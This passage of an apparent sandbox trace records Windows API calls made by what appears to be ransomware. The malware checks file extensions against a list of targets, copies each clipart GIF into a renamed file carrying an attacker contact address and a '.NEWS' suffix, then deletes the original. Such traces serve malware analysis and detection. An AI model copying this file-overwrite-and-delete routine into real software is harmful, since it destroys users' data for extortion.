lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1 [0092.656] lstrlenW (lpString=".pdf") returned 4 [0092.656] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0092.656] lstrlenW (lpString=".xls") returned 4 [0092.656] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0092.656] lstrlenW (lpString=".xlsx") returned 5 [0092.656] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1 [0092.656] lstrlenW (lpString=".ppt") returned 4 [0092.656] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0092.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0092.656] lstrlenW (lpString=".zip") returned 4 [0092.656] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0092.656] lstrlenW (lpString=".rar") returned 4 [0092.656] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0092.656] lstrlenW (lpString=".bz2") returned 4 [0092.656] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0092.656] lstrlenW (lpString=".7z") returned 3 [0092.656] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0092.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0092.656] lstrlenW (lpString=".dbf") returned 4 [0092.656] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0092.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0092.657] lstrlenW (lpString=".1cd") returned 4 [0092.657] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0092.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0092.657] lstrlenW (lpString=".jpg") returned 4 [0092.657] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0092.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0092.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0092.657] lstrlenW (lpString=".doc") returned 4 [0092.657] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0092.657] lstrlenW (lpString=".docx") returned 5 [0092.657] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1 [0092.657] lstrlenW (lpString=".pdf") returned 4 [0092.657] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0092.657] lstrlenW (lpString=".xls") returned 4 [0092.657] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0092.657] lstrlenW (lpString=".xlsx") returned 5 [0092.657] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1 [0092.657] lstrlenW (lpString=".ppt") returned 4 [0092.657] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0092.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0092.657] lstrlenW (lpString=".zip") returned 4 [0092.657] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0092.657] lstrlenW (lpString=".rar") returned 4 [0092.657] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0092.657] lstrlenW (lpString=".bz2") returned 4 [0092.657] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0092.657] lstrlenW (lpString=".7z") returned 3 [0092.657] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0092.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0092.657] lstrlenW (lpString=".dbf") returned 4 [0092.657] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0092.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0092.657] lstrlenW (lpString=".1cd") returned 4 [0092.657] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0092.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0092.657] lstrlenW (lpString=".jpg") returned 4 [0092.657] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0092.658] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0092.658] lstrlenW (lpString="J0099200.GIF") returned 12 [0092.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0092.658] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=16543) returned 1 [0092.658] CloseHandle (hObject=0x338) returned 1 [0092.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif")) returned 0x220 [0092.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0092.658] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.659] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0092.659] GetLastError () returned 0x0 [0092.659] ReadFile (in: hFile=0x338, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x409f, lpOverlapped=0x0) returned 1 [0092.661] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x40a0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x40a0, lpOverlapped=0x0) returned 1 [0092.662] ReadFile (in: hFile=0x338, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0092.662] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0092.662] SetEndOfFile (hFile=0x384) returned 1 [0092.662] CloseHandle (hObject=0x384) returned 1 [0092.662] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.662] SetEndOfFile (hFile=0x338) returned 1 [0092.663] CloseHandle (hObject=0x338) returned 1 [0092.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0092.663] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif")) returned 1 [0092.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0092.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0092.664] lstrlenW (lpString=".doc") returned 4 [0092.664] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0092.664] lstrlenW (lpString=".docx") returned 5 [0092.664] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1 [0092.664] lstrlenW (lpString=".pdf") returned 4 [0092.664] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0092.664] lstrlenW (lpString=".xls") returned 4 [0092.664] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0092.664] lstrlenW (lpString=".xlsx") returned 5 [0092.664] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1 [0092.664] lstrlenW (lpString=".ppt") returned 4 [0092.664] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0092.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0092.664] lstrlenW (lpString=".zip") returned 4 [0092.664] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0092.664] lstrlenW (lpString=".rar") returned 4 [0092.664] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0092.664] lstrlenW (lpString=".bz2") returned 4 [0092.664] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0092.664] lstrlenW (lpString=".7z") returned 3 [0092.664] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0092.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0092.664] lstrlenW (lpString=".dbf") returned 4 [0092.664] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0092.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0092.664] lstrlenW (lpString=".1cd") returned 4 [0092.664] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0092.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0092.664] lstrlenW (lpString=".jpg") returned 4 [0092.664] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0092.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0092.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0092.665] lstrlenW (lpString=".doc") returned 4 [0092.665] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0092.665] lstrlenW (lpString=".docx") returned 5 [0092.665] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1 [0092.665] lstrlenW (lpString=".pdf") returned 4 [0092.665] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0092.665] lstrlenW (lpString=".xls") returned 4 [0092.665] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0092.665] lstrlenW (lpString=".xlsx") returned 5 [0092.665] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1 [0092.665] lstrlenW (lpString=".ppt") returned 4 [0092.665] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0092.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0092.665] lstrlenW (lpString=".zip") returned 4 [0092.665] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0092.665] lstrlenW (lpString=".rar") returned 4 [0092.665] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0092.665] lstrlenW (lpString=".bz2") returned 4 [0092.665] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0092.665] lstrlenW (lpString=".7z") returned 3 [0092.665] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0092.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0092.665] lstrlenW (lpString=".dbf") returned 4 [0092.665] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0092.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0092.665] lstrlenW (lpString=".1cd") returned 4 [0092.665] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0092.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0092.665] lstrlenW (lpString=".jpg") returned 4 [0092.665] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0092.665] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0092.666] lstrlenW (lpString="J0099201.GIF") returned 12 [0092.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0092.666] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=51401) returned 1 [0092.666] CloseHandle (hObject=0x338) returned 1 [0092.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif")) returned 0x220 [0092.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0092.667] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.667] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0092.668] GetLastError () returned 0x0 [0092.668] ReadFile (in: hFile=0x338, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xc8c9, lpOverlapped=0x0) returned 1 [0092.670] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xc8d0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xc8d0, lpOverlapped=0x0) returned 1 [0092.671] ReadFile (in: hFile=0x338, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0092.671] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0092.671] SetEndOfFile (hFile=0x384) returned 1 [0092.671] CloseHandle (hObject=0x384) returned 1 [0092.672] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.672] SetEndOfFile (hFile=0x338) returned 1 [0092.673] CloseHandle (hObject=0x338) returned 1 [0092.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0092.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif")) returned 1 [0092.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0092.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0092.673] lstrlenW (lpString=".doc") returned 4 [0092.673] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0092.673] lstrlenW (lpString=".docx") returned 5 [0092.673] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1 [0092.673] lstrlenW (lpString=".pdf") returned 4 [0092.673] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0092.673] lstrlenW (lpString=".xls") returned 4 [0092.673] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0092.673] lstrlenW (lpString=".xlsx") returned 5 [0092.673] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1 [0092.673] lstrlenW (lpString=".ppt") returned 4 [0092.673] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0092.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0092.674] lstrlenW (lpString=".zip") returned 4 [0092.674] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0092.674] lstrlenW (lpString=".rar") returned 4 [0092.674] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0092.674] lstrlenW (lpString=".bz2") returned 4 [0092.674] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0092.674] lstrlenW (lpString=".7z") returned 3 [0092.674] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0092.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0092.674] lstrlenW (lpString=".dbf") returned 4 [0092.674] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0092.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0092.674] lstrlenW (lpString=".1cd") returned 4 [0092.674] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0092.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0092.674] lstrlenW (lpString=".jpg") returned 4 [0092.674] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0092.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0092.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0092.674] lstrlenW (lpString=".doc") returned 4 [0092.674] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0092.674] lstrlenW (lpString=".docx") returned 5 [0092.674] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1 [0092.674] lstrlenW (lpString=".pdf") returned 4 [0092.674] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0092.674] lstrlenW (lpString=".xls") returned 4 [0092.674] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0092.674] lstrlenW (lpString=".xlsx") returned 5 [0092.674] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1 [0092.674] lstrlenW (lpString=".ppt") returned 4 [0092.674] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0092.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0092.674] lstrlenW (lpString=".zip") returned 4 [0092.674] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0092.674] lstrlenW (lpString=".rar") returned 4 [0092.674] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0092.675] lstrlenW (lpString=".bz2") returned 4 [0092.675] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0092.675] lstrlenW (lpString=".7z") returned 3 [0092.675] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0092.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0092.675] lstrlenW (lpString=".dbf") returned 4 [0092.675] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0092.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0092.675] lstrlenW (lpString=".1cd") returned 4 [0092.675] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0092.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0092.675] lstrlenW (lpString=".jpg") returned 4 [0092.675] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0092.675] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0092.675] lstrlenW (lpString="J0099202.GIF") returned 12 [0092.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0092.675] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=4967) returned 1 [0092.675] CloseHandle (hObject=0x338) returned 1 [0092.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif")) returned 0x220 [0092.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0092.676] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.676] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0092.676] GetLastError () returned 0x0 [0092.676] ReadFile (in: hFile=0x338, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x1367, lpOverlapped=0x0) returned 1 [0092.678] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x1370, lpOverlapped=0x0) returned 1 [0092.679] ReadFile (in: hFile=0x338, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0092.679] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0092.679] SetEndOfFile (hFile=0x384) returned 1 [0092.679] CloseHandle (hObject=0x384) returned 1 [0092.679] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.679] SetEndOfFile (hFile=0x338) returned 1 [0092.680] CloseHandle (hObject=0x338) returned 1 [0092.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0092.680] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif")) returned 1 [0092.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0092.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0092.680] lstrlenW (lpString=".doc") returned 4 [0092.680] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0092.680] lstrlenW (lpString=".docx") returned 5 [0092.680] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0092.680] lstrlenW (lpString=".pdf") returned 4 [0092.681] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0092.681] lstrlenW (lpString=".xls") returned 4 [0092.681] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0092.681] lstrlenW (lpString=".xlsx") returned 5 [0092.681] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0092.681] lstrlenW (lpString=".ppt") returned 4 [0092.681] lstrcmpiW 